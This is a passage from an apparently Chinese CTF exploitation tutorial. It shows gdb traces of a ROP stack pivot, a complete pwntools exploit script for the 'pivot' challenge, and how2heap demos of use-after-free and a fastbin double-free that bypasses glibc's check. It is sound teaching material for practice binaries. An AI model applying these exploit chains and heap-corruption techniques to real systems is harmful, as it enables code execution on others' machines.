gdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0x54 ('T')\nEBX: 0x0\nECX: 0x54 ('T')\nEDX: 0xf7731854 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0x0\nESP: 0xf755cf18 --> 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)\nEIP: 0x80488c0 (<usefulGadgets>: pop eax)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x80488ba: xchg ax,ax\n 0x80488bc: xchg ax,ax\n 0x80488be: xchg ax,ax\n=> 0x80488c0 <usefulGadgets>: pop eax\n 0x80488c1 <usefulGadgets+1>: ret\n 0x80488c2 <usefulGadgets+2>: xchg esp,eax\n 0x80488c3 <usefulGadgets+3>: ret\n 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]\n[------------------------------------stack-------------------------------------]\n0000| 0xf755cf18 --> 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)\n0004| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])\n0008| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)\n0012| 0xf755cf24 --> 0x1f7\n0016| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)\n0020| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)\n0024| 0xf755cf30 --> 0xa ('\\n')\n0028| 0xf755cf34 --> 0x0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x080488c0 in usefulGadgets ()\ngdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)\nEBX: 0x0\nECX: 0x54 ('T')\nEDX: 0xf7731854 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0x0\nESP: 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])\nEIP: 0x80488c1 (<usefulGadgets+1>: ret)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x80488bc: xchg ax,ax\n 0x80488be: xchg ax,ax\n 0x80488c0 <usefulGadgets>: pop eax\n=> 0x80488c1 <usefulGadgets+1>: ret\n 0x80488c2 <usefulGadgets+2>: xchg esp,eax\n 0x80488c3 <usefulGadgets+3>: ret\n 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]\n 0x80488c6 <usefulGadgets+6>: ret\n[------------------------------------stack-------------------------------------]\n0000| 0xf755cf1c --> 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])\n0004| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)\n0008| 0xf755cf24 --> 0x1f7\n0012| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)\n0016| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)\n0020| 0xf755cf30 --> 0xa ('\\n')\n0024| 0xf755cf34 --> 0x0\n0028| 0xf755cf38 --> 0x0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x080488c1 in usefulGadgets ()\ngdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0x804a024 --> 0xf7772770 (<foothold_function>: push ebp)\nEBX: 0x0\nECX: 0x54 ('T')\nEDX: 0xf7731854 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0x0\nESP: 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)\nEIP: 0x80488c4 (<usefulGadgets+4>: mov eax,DWORD PTR [eax])\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x80488c1 <usefulGadgets+1>: ret\n 0x80488c2 <usefulGadgets+2>: xchg esp,eax\n 0x80488c3 <usefulGadgets+3>: ret\n=> 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]\n 0x80488c6 <usefulGadgets+6>: ret\n 0x80488c7 <usefulGadgets+7>: add eax,ebx\n 0x80488c9 <usefulGadgets+9>: ret\n 0x80488ca <usefulGadgets+10>: xchg ax,ax\n[------------------------------------stack-------------------------------------]\n0000| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)\n0004| 0xf755cf24 --> 0x1f7\n0008| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)\n0012| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)\n0016| 0xf755cf30 --> 0xa ('\\n')\n0020| 0xf755cf34 --> 0x0\n0024| 0xf755cf38 --> 0x0\n0028| 0xf755cf3c --> 0x0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x080488c4 in usefulGadgets ()\ngdb-peda$ n\n[----------------------------------registers-----------------------------------]\nEAX: 0xf7772770 (<foothold_function>: push ebp)\nEBX: 0x0\nECX: 0x54 ('T')\nEDX: 0xf7731854 --> 0x0\nESI: 0xf772fe28 --> 0x1d1d30\nEDI: 0x0\nEBP: 0x0\nESP: 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)\nEIP: 0x80488c6 (<usefulGadgets+6>: ret)\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\n[-------------------------------------code-------------------------------------]\n 0x80488c2 <usefulGadgets+2>: xchg esp,eax\n 0x80488c3 <usefulGadgets+3>: ret\n 0x80488c4 <usefulGadgets+4>: mov eax,DWORD PTR [eax]\n=> 0x80488c6 <usefulGadgets+6>: ret\n 0x80488c7 <usefulGadgets+7>: add eax,ebx\n 0x80488c9 <usefulGadgets+9>: ret\n 0x80488ca <usefulGadgets+10>: xchg ax,ax\n 0x80488cc <usefulGadgets+12>: xchg ax,ax\n[------------------------------------stack-------------------------------------]\n0000| 0xf755cf20 --> 0x8048571 (<_init+33>: pop ebx)\n0004| 0xf755cf24 --> 0x1f7\n0008| 0xf755cf28 --> 0x80488c7 (<usefulGadgets+7>: add eax,ebx)\n0012| 0xf755cf2c --> 0x80486a3 (<deregister_tm_clones+35>: call eax)\n0016| 0xf755cf30 --> 0xa ('\\n')\n0020| 0xf755cf34 --> 0x0\n0024| 0xf755cf38 --> 0x0\n0028| 0xf755cf3c --> 0x0\n[------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n0x080488c6 in usefulGadgets ()\n
"},{"location":"Training/Material/Binary%20Exploitation/#pivot","title":"pivot","text":"\u57fa\u672c\u540c\u4e0a\uff0c\u4f46\u4f60\u53ef\u4ee5\u5c1d\u8bd5\u628a\u4fee\u6539 rsp \u7684\u90e8\u5206\u4e5f\u7528 gadgets \u6765\u5b9e\u73b0\uff0c\u8fd9\u6837\u505a\u7684\u597d\u5904\u662f\u6211\u4eec\u4e0d\u9700\u8981\u4f2a\u9020\u4e00\u4e2a\u5806\u6808\uff0c\u5373\u4e0d\u7528\u7ba1 ebp \u7684\u5730\u5740\u3002\u5982\uff1a
payload_2 = \"A\" * 40\npayload_2 += p64(pop_rax)\npayload_2 += p64(leakaddr)\npayload_2 += p64(xchg_rax_rsp)\n
\u5b9e\u9645\u4e0a\uff0c\u6211\u672c\u4eba\u6b63\u662f\u4f7f\u7528\u8fd9\u79cd\u65b9\u6cd5\uff0c\u56e0\u4e3a\u6211\u5728\u6784\u5efa payload \u65f6\uff0c0x0000000000400ae0 <+165>: leave
\uff0cleave;ret \u7684\u5730\u5740\u5b58\u5728\u622a\u65ad\u5b57\u7b26 0a
\uff0c\u8fd9\u6837\u5c31\u4e0d\u80fd\u901a\u8fc7\u6b63\u5e38\u7684\u65b9\u5f0f\u5199\u5165\u7f13\u51b2\u533a\uff0c\u5f53\u7136\u8fd9\u4e5f\u662f\u53ef\u4ee5\u89e3\u51b3\u7684\uff0c\u6bd4\u5982\u5148\u5c06 0a
\u6362\u6210\u975e\u622a\u65ad\u5b57\u7b26\uff0c\u4e4b\u540e\u518d\u4f7f\u7528\u5bc4\u5b58\u5668\u5c06 0a
\u5199\u5165\u8be5\u5730\u5740\uff0c\u8fd9\u4e5f\u662f\u901a\u5e38\u89e3\u51b3\u7f13\u51b2\u533a\u4e2d\u622a\u65ad\u5b57\u7b26\u7684\u65b9\u6cd5\uff0c\u4f46\u662f\u8fd9\u6837\u505a\u96be\u5ea6\u592a\u5927\uff0c\u4e0d\u63a8\u8350\uff0c\u611f\u5174\u8da3\u7684\u8bfb\u8005\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e0b\u3002
$ ropgadget --binary pivot --only \"mov|pop|call|add|xchg|ret\"\n0x0000000000400b09 : add rax, rbp ; ret\n0x000000000040098e : call rax\n0x0000000000400b05 : mov rax, qword ptr [rax] ; ret\n0x0000000000400b00 : pop rax ; ret\n0x0000000000400900 : pop rbp ; ret\n0x0000000000400b02 : xchg rax, rsp ; ret\nfrom pwn import *\n\n#context.log_level = 'debug'\n#context.terminal = ['konsole']\nio = process('./pivot')\nelf = ELF('./pivot')\nlibp = ELF('./libpivot.so')\n\nleave_ret = 0x0000000000400adf\n\nfoothold_plt = elf.plt['foothold_function'] # 0x400850\nfoothold_got_plt = elf.got['foothold_function'] # 0x602048\n\npop_rax = 0x0000000000400b00\npop_rbp = 0x0000000000400900\nmov_rax_rax = 0x0000000000400b05\nxchg_rax_rsp = 0x0000000000400b02\nadd_rax_rbp = 0x0000000000400b09\ncall_rax = 0x000000000040098e\n\nfoothold_sym = libp.symbols['foothold_function']\nret2win_sym = libp.symbols['ret2win']\noffset = int(ret2win_sym - foothold_sym) # 0x14e\n\nleakaddr = int(io.recv().split()[20], 16)\n\n# calls foothold_function() to populate its GOT entry, then queries that value into EAX\n#gdb.attach(io)\npayload_1 = p64(foothold_plt)\npayload_1 += p64(pop_rax)\npayload_1 += p64(foothold_got_plt)\npayload_1 += p64(mov_rax_rax)\npayload_1 += p64(pop_rbp)\npayload_1 += p64(offset)\npayload_1 += p64(add_rax_rbp)\npayload_1 += p64(call_rax)\n\nio.sendline(payload_1)\n\n# rsp = leakaddr\npayload_2 = \"A\" * 40\npayload_2 += p64(pop_rax)\npayload_2 += p64(leakaddr)\npayload_2 += p64(xchg_rax_rsp)\n\nio.sendline(payload_2)\nprint io.recvall()\n
\u8fd9\u6837\u57fa\u672c\u7684 ROP \u4e5f\u5c31\u4ecb\u7ecd\u5b8c\u4e86\uff0c\u66f4\u9ad8\u7ea7\u7684\u7528\u6cd5\u4f1a\u5728\u540e\u9762\u7684\u7ae0\u8282\u4e2d\u518d\u4ecb\u7ecd\uff0c\u6240\u8c13\u7684\u9ad8\u7ea7\uff0c\u4e5f\u5c31\u662f gadgets \u6784\u9020\u66f4\u52a0\u5de7\u5999\uff0c\u8fd0\u7528\u64cd\u4f5c\u7cfb\u7edf\u7684\u77e5\u8bc6\u66f4\u52a0\u5e95\u5c42\u800c\u5df2\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#316-linux","title":"3.1.6 Linux \u5806\u5229\u7528\uff08\u4e0a\uff09","text":"\u5806\u662f\u7a0b\u5e8f\u865a\u62df\u5730\u5740\u7a7a\u95f4\u4e2d\u7684\u4e00\u5757\u8fde\u7eed\u7684\u533a\u57df\uff0c\u7531\u4f4e\u5730\u5740\u5411\u9ad8\u5730\u5740\u589e\u957f\u3002\u5f53\u524d Linux \u4f7f\u7528\u7684\u5806\u5206\u914d\u5668\u88ab\u79f0\u4e3a ptmalloc2\uff0c\u5728 glibc \u4e2d\u5b9e\u73b0\u3002
\u66f4\u8be6\u7ec6\u7684\u6211\u4eec\u5df2\u7ecf\u5728\u7ae0\u8282 1.5.8 \u4e2d\u4ecb\u7ecd\u4e86\uff0c\u7ae0\u8282 1.5.7 \u4e2d\u4e5f\u6709\u76f8\u5173\u5185\u5bb9\uff0c\u8bf7\u56de\u987e\u4e00\u4e0b\u3002
\u5bf9\u5806\u5229\u7528\u6765\u8bf4\uff0c\u4e0d\u7528\u4e8e\u6808\u4e0a\u7684\u6ea2\u51fa\u80fd\u591f\u76f4\u63a5\u8986\u76d6\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\u4ece\u800c\u63a7\u5236 EIP\uff0c\u53ea\u80fd\u901a\u8fc7\u95f4\u63a5\u624b\u6bb5\u6765\u52ab\u6301\u7a0b\u5e8f\u63a7\u5236\u6d41\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#how2heap","title":"how2heap","text":"how2heap \u662f\u7531 shellphish \u56e2\u961f\u5236\u4f5c\u7684\u5806\u5229\u7528\u6559\u7a0b\uff0c\u4ecb\u7ecd\u4e86\u591a\u79cd\u5806\u5229\u7528\u6280\u672f\uff0c\u8fd9\u7bc7\u6587\u7ae0\u6211\u4eec\u5c31\u901a\u8fc7\u8fd9\u4e2a\u6559\u7a0b\u6765\u5b66\u4e60\u3002\u63a8\u8350\u4f7f\u7528 Ubuntu 16.04 64\u4f4d\u7cfb\u7edf\u73af\u5883\uff0cglibc \u7248\u672c\u5982\u4e0b\uff1a
$ file /lib/x86_64-linux-gnu/libc-2.23.so\n/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped\n$ git clone https://github.com/shellphish/how2heap.git\n$ cd how2heap\n$ make\n
\u8bf7\u6ce8\u610f\uff0c\u4e0b\u6587\u4e2d\u8d34\u51fa\u7684\u4ee3\u7801\u662f\u6211\u7b80\u5316\u8fc7\u7684\uff0c\u5254\u9664\u548c\u4fee\u6539\u4e86\u4e00\u4e9b\u4e0d\u5fc5\u8981\u7684\u6ce8\u91ca\u548c\u4ee3\u7801\uff0c\u4ee5\u65b9\u4fbf\u5b66\u4e60\u3002\u53e6\u5916\uff0c\u6b63\u5982\u7ae0\u8282 4.3 \u4e2d\u6240\u8bb2\u7684\uff0c\u6dfb\u52a0\u7f16\u8bd1\u53c2\u6570 CFLAGS += -fsanitize=address
\u53ef\u4ee5\u68c0\u6d4b\u5185\u5b58\u9519\u8bef\u3002\u4e0b\u8f7d\u6587\u4ef6
#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main() {\n char* a = malloc(512);\n char* b = malloc(256);\n char* c;\n\n fprintf(stderr, \"1st malloc(512): %p\\n\", a);\n fprintf(stderr, \"2nd malloc(256): %p\\n\", b);\n strcpy(a, \"AAAAAAAA\");\n strcpy(b, \"BBBBBBBB\");\n fprintf(stderr, \"first allocation %p points to %s\\n\", a, a);\n\n fprintf(stderr, \"Freeing the first one...\\n\");\n free(a);\n\n c = malloc(500);\n fprintf(stderr, \"3rd malloc(500): %p\\n\", c);\n strcpy(c, \"CCCCCCCC\");\n fprintf(stderr, \"3rd allocation %p points to %s\\n\", c, c);\n fprintf(stderr, \"first allocation %p points to %s\\n\", a, a);\n}\n$ gcc -g first_fit.c\n$ ./a.out\n1st malloc(512): 0x1380010\n2nd malloc(256): 0x1380220\nfirst allocation 0x1380010 points to AAAAAAAA\nFreeing the first one...\n3rd malloc(500): 0x1380010\n3rd allocation 0x1380010 points to CCCCCCCC\nfirst allocation 0x1380010 points to CCCCCCCC\n
\u8fd9\u7b2c\u4e00\u4e2a\u7a0b\u5e8f\u5c55\u793a\u4e86 glibc \u5806\u5206\u914d\u7684\u7b56\u7565\uff0c\u5373 first-fit\u3002\u5728\u5206\u914d\u5185\u5b58\u65f6\uff0cmalloc \u4f1a\u5148\u5230 unsorted bin\uff08\u6216\u8005fastbins\uff09 \u4e2d\u67e5\u627e\u9002\u5408\u7684\u88ab free \u7684 chunk\uff0c\u5982\u679c\u6ca1\u6709\uff0c\u5c31\u4f1a\u628a unsorted bin \u4e2d\u7684\u6240\u6709 chunk \u5206\u522b\u653e\u5165\u5230\u6240\u5c5e\u7684 bins \u4e2d\uff0c\u7136\u540e\u518d\u53bb\u8fd9\u4e9b bins \u91cc\u53bb\u627e\u5408\u9002\u7684 chunk\u3002\u53ef\u4ee5\u770b\u5230\u7b2c\u4e09\u6b21 malloc \u7684\u5730\u5740\u548c\u7b2c\u4e00\u6b21\u76f8\u540c\uff0c\u5373 malloc \u627e\u5230\u4e86\u7b2c\u4e00\u6b21 free \u6389\u7684 chunk\uff0c\u5e76\u628a\u5b83\u91cd\u65b0\u5206\u914d\u3002
\u5728 gdb \u4e2d\u8c03\u8bd5\uff0c\u4e24\u4e2a malloc \u4e4b\u540e\uff08chunk \u4f4d\u4e8e malloc \u8fd4\u56de\u5730\u5740\u51cf\u53bb 0x10 \u7684\u4f4d\u7f6e\uff09\uff1a
gef\u27a4 x/5gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a\n0x602010: 0x4141414141414141 0x0000000000000000\n0x602020: 0x0000000000000000\ngef\u27a4 x/5gx 0x602220-0x10\n0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b\n0x602220: 0x4242424242424242 0x0000000000000000\n0x602230: 0x0000000000000000\n
\u7b2c\u4e00\u4e2a free \u4e4b\u540e\uff0c\u5c06\u5176\u52a0\u5165\u5230 unsorted bin \u4e2d\uff1a
gef\u27a4 x/5gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed]\n0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer\n0x602020: 0x0000000000000000\ngef\u27a4 x/5gx 0x602220-0x10\n0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b\n0x602220: 0x4242424242424242 0x0000000000000000\n0x602230: 0x0000000000000000\ngef\u27a4 heap bins unsorted\n[ Unsorted Bin for arena 'main_arena' ]\n[+] unsorted_bins[0]: fw=0x602000, bk=0x602000\n \u2192 Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)\n[+] Found 1 chunks in unsorted bin.\n
\u7b2c\u4e09\u4e2a malloc \u4e4b\u540e\uff1a
gef\u27a4 x/5gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c\n0x602010: 0x4343434343434343 0x00007ffff7dd1d00\n0x602020: 0x0000000000000000\ngef\u27a4 x/5gx 0x602220-0x10\n0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b\n0x602220: 0x4242424242424242 0x0000000000000000\n0x602230: 0x0000000000000000\n
\u6240\u4ee5\u5f53\u91ca\u653e\u4e00\u5757\u5185\u5b58\u540e\u518d\u7533\u8bf7\u4e00\u5757\u5927\u5c0f\u7565\u5c0f\u4e8e\u7684\u7a7a\u95f4\uff0c\u90a3\u4e48 glibc \u503e\u5411\u4e8e\u5c06\u5148\u524d\u88ab\u91ca\u653e\u7684\u7a7a\u95f4\u91cd\u65b0\u5206\u914d\u3002
\u597d\u4e86\uff0c\u73b0\u5728\u6211\u4eec\u52a0\u4e0a\u5185\u5b58\u68c0\u6d4b\u53c2\u6570\u91cd\u65b0\u7f16\u8bd1\uff1a
$ gcc -fsanitize=address -g first_fit.c\n$ ./a.out\n1st malloc(512): 0x61500000fd00\n2nd malloc(256): 0x611000009f00\nfirst allocation 0x61500000fd00 points to AAAAAAAA\nFreeing the first one...\n3rd malloc(500): 0x61500000fa80\n3rd allocation 0x61500000fa80 points to CCCCCCCC\n=================================================================\n==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58\nREAD of size 2 at 0x61500000fd00 thread T0\n #0 0x7f49d14a61e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)\n #1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)\n #2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)\n #3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23\n #4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n #5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)\n\n0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)\nfreed by thread T0 here:\n #0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)\n #1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17\n #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n\npreviously allocated by thread T0 here:\n #0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)\n #1 0x400957 in main /home/firmy/how2heap/first_fit.c:6\n #2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)\n
\u4e00\u4e2a\u5f88\u660e\u663e\u7684 use-after-free \u6f0f\u6d1e\u3002\u5173\u4e8e\u8fd9\u7c7b\u6f0f\u6d1e\u7684\u8be6\u7ec6\u5229\u7528\u8fc7\u7a0b\uff0c\u6211\u4eec\u4f1a\u5728\u540e\u9762\u7684\u7ae0\u8282\u91cc\u518d\u8bb2\u3002
"},{"location":"Training/Material/Binary%20Exploitation/#fastbin_dup","title":"fastbin_dup","text":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\nint main() {\n fprintf(stderr, \"Allocating 3 buffers.\\n\");\n char *a = malloc(9);\n char *b = malloc(9);\n char *c = malloc(9);\n strcpy(a, \"AAAAAAAA\");\n strcpy(b, \"BBBBBBBB\");\n strcpy(c, \"CCCCCCCC\");\n fprintf(stderr, \"1st malloc(9) %p points to %s\\n\", a, a);\n fprintf(stderr, \"2nd malloc(9) %p points to %s\\n\", b, b);\n fprintf(stderr, \"3rd malloc(9) %p points to %s\\n\", c, c);\n\n fprintf(stderr, \"Freeing the first one %p.\\n\", a);\n free(a);\n fprintf(stderr, \"Then freeing another one %p.\\n\", b);\n free(b);\n fprintf(stderr, \"Freeing the first one %p again.\\n\", a);\n free(a);\n\n fprintf(stderr, \"Allocating 3 buffers.\\n\");\n char *d = malloc(9);\n char *e = malloc(9);\n char *f = malloc(9);\n strcpy(d, \"DDDDDDDD\");\n fprintf(stderr, \"4st malloc(9) %p points to %s the first time\\n\", d, d);\n strcpy(e, \"EEEEEEEE\");\n fprintf(stderr, \"5nd malloc(9) %p points to %s\\n\", e, e);\n strcpy(f, \"FFFFFFFF\");\n fprintf(stderr, \"6rd malloc(9) %p points to %s the second time\\n\", f, f);\n}\n$ gcc -g fastbin_dup.c\n$ ./a.out\nAllocating 3 buffers.\n1st malloc(9) 0x1c07010 points to AAAAAAAA\n2nd malloc(9) 0x1c07030 points to BBBBBBBB\n3rd malloc(9) 0x1c07050 points to CCCCCCCC\nFreeing the first one 0x1c07010.\nThen freeing another one 0x1c07030.\nFreeing the first one 0x1c07010 again.\nAllocating 3 buffers.\n4st malloc(9) 0x1c07010 points to DDDDDDDD the first time\n5nd malloc(9) 0x1c07030 points to EEEEEEEE\n6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time\n
\u8fd9\u4e2a\u7a0b\u5e8f\u5c55\u793a\u4e86\u5229\u7528 fastbins \u7684 double-free \u653b\u51fb\uff0c\u53ef\u4ee5\u6cc4\u6f0f\u51fa\u4e00\u5757\u5df2\u7ecf\u88ab\u5206\u914d\u7684\u5185\u5b58\u6307\u9488\u3002fastbins \u53ef\u4ee5\u770b\u6210\u4e00\u4e2a LIFO \u7684\u6808\uff0c\u4f7f\u7528\u5355\u94fe\u8868\u5b9e\u73b0\uff0c\u901a\u8fc7 fastbin->fd \u6765\u904d\u5386 fastbins\u3002\u7531\u4e8e free \u7684\u8fc7\u7a0b\u4f1a\u5bf9 free list \u505a\u68c0\u67e5\uff0c\u6211\u4eec\u4e0d\u80fd\u8fde\u7eed\u4e24\u6b21 free \u540c\u4e00\u4e2a chunk\uff0c\u6240\u4ee5\u8fd9\u91cc\u5728\u4e24\u6b21 free \u4e4b\u95f4\uff0c\u589e\u52a0\u4e86\u4e00\u6b21\u5bf9\u5176\u4ed6 chunk \u7684 free \u8fc7\u7a0b\uff0c\u4ece\u800c\u7ed5\u8fc7\u68c0\u67e5\u987a\u5229\u6267\u884c\u3002\u7136\u540e\u518d malloc \u4e09\u6b21\uff0c\u5c31\u5728\u540c\u4e00\u4e2a\u5730\u5740 malloc \u4e86\u4e24\u6b21\uff0c\u4e5f\u5c31\u6709\u4e86\u4e24\u4e2a\u6307\u5411\u540c\u4e00\u5757\u5185\u5b58\u533a\u57df\u7684\u6307\u9488\u3002
libc-2.23 \u4e2d\u5bf9 double-free \u7684\u68c0\u67e5\u8fc7\u7a0b\u5982\u4e0b\uff1a
/* Check that the top of the bin is not the record we are going to add\n (i.e., double free). */\n if (__builtin_expect (old == p, 0))\n {\n errstr = \"double free or corruption (fasttop)\";\n goto errout;\n }\n
\u5b83\u5728\u68c0\u67e5 fast bin \u7684 double-free \u65f6\u53ea\u662f\u68c0\u67e5\u4e86\u7b2c\u4e00\u4e2a\u5757\u3002\u6240\u4ee5\u5176\u5b9e\u662f\u5b58\u5728\u7f3a\u9677\u7684\u3002
\u4e09\u4e2a malloc \u4e4b\u540e\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a\n0x602010: 0x4141414141414141 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk\n0x602070: 0x0000000000000000\n
\u7b2c\u4e00\u4e2a free \u4e4b\u540e\uff0cchunk a \u88ab\u6dfb\u52a0\u5230 fastbins \u4e2d\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]\n0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b\n0x602030: 0x4242424242424242 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)\n
\u7b2c\u4e8c\u4e2a free \u4e4b\u540e\uff0cchunk b \u88ab\u6dfb\u52a0\u5230 fastbins \u4e2d\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]\n0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]\n0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer\n0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)\n
\u6b64\u65f6\u7531\u4e8e chunk a \u5904\u4e8e bin \u4e2d\u7b2c 2 \u5757\u7684\u4f4d\u7f6e\uff0c\u4e0d\u4f1a\u88ab double-free \u7684\u68c0\u67e5\u673a\u5236\u68c0\u67e5\u51fa\u6765\u3002\u6240\u4ee5\u7b2c\u4e09\u4e2a free \u4e4b\u540e\uff0cchunk a \u518d\u6b21\u88ab\u6dfb\u52a0\u5230 fastbins \u4e2d\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again]\n0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]\n0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer\n0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1\n0x602070: 0x0000000000000000\ngef\u27a4 heap bins fast\n[ Fastbins for arena 0x7ffff7dd1b20 ]\nFastbins[idx=0, size=0x10] \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) \u2190 Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) \u2192 [loop detected]\n
\u6b64\u65f6 chunk a \u548c chunk b \u4f3c\u4e4e\u5f62\u6210\u4e86\u4e00\u4e2a\u73af\u3002
\u518d\u4e09\u4e2a malloc \u4e4b\u540e\uff1a
gef\u27a4 x/15gx 0x602010-0x10\n0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f\n0x602010: 0x4646464646464646 0x0000000000000000\n0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e\n0x602030: 0x4545454545454545 0x0000000000000000\n0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c\n0x602050: 0x4343434343434343 0x0000000000000000\n0x602060: 0x0000000000000000 0x0000000000020fa1\n0x602070: 0x0000000000000000\n
